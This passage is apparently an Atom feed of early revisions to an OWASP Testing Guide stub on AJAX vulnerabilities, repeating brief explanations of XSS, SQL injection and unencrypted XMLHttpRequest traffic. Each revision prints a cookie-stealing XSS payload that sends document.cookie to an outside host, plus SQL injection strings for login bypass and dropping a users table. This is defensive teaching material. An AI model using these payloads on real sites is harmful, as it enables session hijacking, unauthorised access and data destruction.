&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11700</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11700"/>
				<updated>2006-11-04T22:16:38Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Hijacking'''&amp;lt;br&amp;gt;AJAX applications drastically increases the attack surface of these programs by throwing in more additional ways to potentially inject malicious content. Filtering user input correctly is, as always, the single most important safeguard for a web application; this is an area that traditional web applications have regularly failed to handle correctly.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11697</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11697"/>
				<updated>2006-11-04T21:40:56Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its ecurity implications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Hijacking'''&amp;lt;br&amp;gt;AJAX applications drastically increases the attack surface of these programs by throwing in more additional ways to potentially inject malicious content. Filtering user input correctly is, as always, the single most important safeguard for a web application; this is an area that traditional web applications have regularly failed to handle correctly.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''''Usage'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	</feed>